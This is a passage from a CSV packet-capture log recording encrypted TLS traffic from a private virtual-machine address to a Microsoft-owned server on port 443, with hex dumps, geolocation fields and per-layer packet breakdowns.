\\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\xc1jV\\\\xfas&\\\\xb2\\\\x82\\\\xfd\\\\xd1\\\\x06\\\\xfab1P\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\x1a\\\\xea\\\\x08\\\\x80I\\\\r\\\\xaf\\\\xbep\\\\x91\\\\x17\\\\xb1F`\\\\xe6E' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:21.094122,11,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b7070000800628bbc0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695c16a56fa7326b282fdd106fa623150fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd1aea0880490dafbe709117b14660e645,\"RT.W..RT.{....E.. ......(...z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I\n..p...F`.E\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46855, \"\"flags\"\": \"\"\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 10427, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\xc1jV\\\\xfas&\\\\xb2\\\\x82\\\\xfd\\\\xd1\\\\x06\\\\xfab1P\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\x1a\\\\xea\\\\x08\\\\x80I\\\\r\\\\xaf\\\\xbep\\\\x91\\\\x17\\\\xb1F`\\\\xe6E' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:21.359711,12,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70840008006e94ec0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....N..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46856, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59726, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:22.297272,13,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70940008006e8b8c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695c16a56fa7326b282fdd106fa623150fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd1aea0880490dafbe709117b14660e645,\"RT.W..RT.{....E.. .\t@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I\n..p...F`.E\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46857, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59576, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\xc1jV\\\\xfas&\\\\xb2\\\\x82\\\\xfd\\\\xd1\\\\x06\\\\xfab1P\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\x1a\\\\xea\\\\x08\\\\x80I\\\\r\\\\xaf\\\\xbep\\\\x91\\\\x17\\\\xb1F`\\\\xe6E' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:24.708010,14,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70a40008006e8b7c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695c16a56fa7326b282fdd106fa623150fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd1aea0880490dafbe709117b14660e645,\"RT.W..RT.{....E.. .\n@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I\n..p...F`.E\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46858, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59575, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\xc1jV\\\\xfas&\\\\xb2\\\\x82\\\\xfd\\\\xd1\\\\x06\\\\xfab1P\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\x1a\\\\xea\\\\x08\\\\x80I\\\\r\\\\xaf\\\\xbep\\\\x91\\\\x17\\\\xb1F`\\\\xe6E' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:26.238701,15,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3881783804 Ack=1692602478,525400577f945254007bb79208004500008bb70b40008006e94bc0a87aa804d519f0c2eb01bbe75f51fc64e3106e501804055a930000170303005e0000000000000007b53f31508341fcdc28be147f2c7379aea49a21a6e7b2682de408581817ae4a3bb6c743daed53db5b255727366006505c06871c1dfdd19263c7ac00bcd8a87ddd1ff7b6e73a0a85833c638c765edf02ca06838251188d,\"RT.W..RT.{....E.....@....K..z.........._Q.d..nP...Z.......^.........?1P.A..(...,sy...!...h-..X...J;..C..S.[%W'6`.P\\.......c......}.....:\n..<c.v^......Q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 139, \"\"id\"\": 46859, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59723, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49899, \"\"dport\"\": 443, \"\"seq\"\": 3881783804, \"\"ack\"\": 1692602478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1029, \"\"chksum\"\": 23187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 94, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07\\\\xb5?1P\\\\x83A\\\\xfc\\\\xdc(\\\\xbe\\\\x14\\\\x7f,sy\\\\xae\\\\xa4\\\\x9a!\\\\xa6\\\\xe7\\\\xb2h-\\\\xe4\\\\x08X\\\\x18\\\\x17\\\\xaeJ;\\\\xb6\\\\xc7C\\\\xda\\\\xedS\\\\xdb[%W'6`\\\\x06P\\\\\\\\\\\\x06\\\\x87\\\\x1c\\\\x1d\\\\xfd\\\\xd1\\\\x92c\\\\xc7\\\\xac\\\\x00\\\\xbc\\\\xd8\\\\xa8}\\\\xdd\\\\x1f\\\\xf7\\\\xb6\\\\xe7:\\\\n\\\\x85\\\\x83<c\\\\x8cv^\\\\xdf\\\\x02\\\\xca\\\\x06\\\\x83\\\\x82Q\\\\x18\\\\x8d\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:29.521637,16,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3334411157 Ack=1369756557,525400577f945254007bb792080045000120b70c40008006e8b5c0a87aa804d519f0c2e401bbc6bf139551a4d38d501804045b28000017030300f30000000000000009b6181eed91be740eaba4bf0aeb2569c3b7985720e33bf054bd78109fd5c6d9a1c834fc1b078e2ee824ed03ce36c87b082e68e9c031b2e00ef7ce30f68695c16a56fa7326b282fdd106fa623150fe37c8becf019f5a717fdced5325dcbf0647c16ff4231009f316895d38239c90c40d298f461ab61c30c98bf602b25ede2297265a953bc66b932e37efe45c7f7d091de46099e7c1c56580552a13c8c84e7adf356e7fb0aac6fb739d5c579e9c49755ec8f2ad349a1cda08b5ca25bc47a43dbb3a73a8cfcb35e06859b1fd7823bc058482b6d1324b26ba3193ecf5dd1aea0880490dafbe709117b14660e645,\"RT.W..RT.{....E.. ..@.......z.............Q...P...[(..............\t......t....\n.%i...W .;.T.x.......4......$...6.{..h..1.....0....jV.s&......b1P.7.....Zq...S%...G.o.#.\t...]8#...\n).F...0.....^.\"\".&Z.;.k..7..\\.}\t..`....e.U*...Nz.5n.....s.\\W..Iu^...4......%.G.=.:s...5.hY..x#......2K&.1........I\n..p...F`.E\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 288, \"\"id\"\": 46860, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59573, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411157, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1028, \"\"chksum\"\": 23336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 243, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\t\\\\xb6\\\\x18\\\\x1e\\\\xed\\\\x91\\\\xbet\\\\x0e\\\\xab\\\\xa4\\\\xbf\\\\n\\\\xeb%i\\\\xc3\\\\xb7\\\\x98W \\\\xe3;\\\\xf0T\\\\xbdx\\\\x10\\\\x9f\\\\xd5\\\\xc6\\\\xd9\\\\xa1\\\\xc84\\\\xfc\\\\x1b\\\\x07\\\\x8e.\\\\xe8$\\\\xed\\\\x03\\\\xce6\\\\xc8{\\\\x08.h\\\\xe9\\\\xc01\\\\xb2\\\\xe0\\\\x0e\\\\xf7\\\\xce0\\\\xf6\\\\x86\\\\x95\\\\xc1jV\\\\xfas&\\\\xb2\\\\x82\\\\xfd\\\\xd1\\\\x06\\\\xfab1P\\\\xfe7\\\\xc8\\\\xbe\\\\xcf\\\\x01\\\\x9fZq\\\\x7f\\\\xdc\\\\xedS%\\\\xdc\\\\xbf\\\\x06G\\\\xc1o\\\\xf4#\\\\x10\\\\t\\\\xf3\\\\x16\\\\x89]8#\\\\x9c\\\\x90\\\\xc4\\\\r)\\\\x8fF\\\\x1a\\\\xb6\\\\x1c0\\\\xc9\\\\x8b\\\\xf6\\\\x02\\\\xb2^\\\\xde\\\"\"\\\\x97&Z\\\\x95;\\\\xc6k\\\\x93.7\\\\xef\\\\xe4\\\\\\\\\\\\x7f}\\\\t\\\\x1d\\\\xe4`\\\\x99\\\\xe7\\\\xc1\\\\xc5e\\\\x80U*\\\\x13\\\\xc8\\\\xc8Nz\\\\xdf5n\\\\x7f\\\\xb0\\\\xaa\\\\xc6\\\\xfbs\\\\x9d\\\\\\\\W\\\\x9e\\\\x9cIu^\\\\xc8\\\\xf2\\\\xad4\\\\x9a\\\\x1c\\\\xda\\\\x08\\\\xb5\\\\xca%\\\\xbcG\\\\xa4=\\\\xbb:s\\\\xa8\\\\xcf\\\\xcb5\\\\xe0hY\\\\xb1\\\\xfdx#\\\\xbc\\\\x05\\\\x84\\\\x82\\\\xb6\\\\xd12K&\\\\xba1\\\\x93\\\\xec\\\\xf5\\\\xdd\\\\x1a\\\\xea\\\\x08\\\\x80I\\\\r\\\\xaf\\\\xbep\\\\x91\\\\x17\\\\xb1F`\\\\xe6E' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 08:15:35.852563,17,TCP 192.168.122.168:49899 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49899,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3881783903 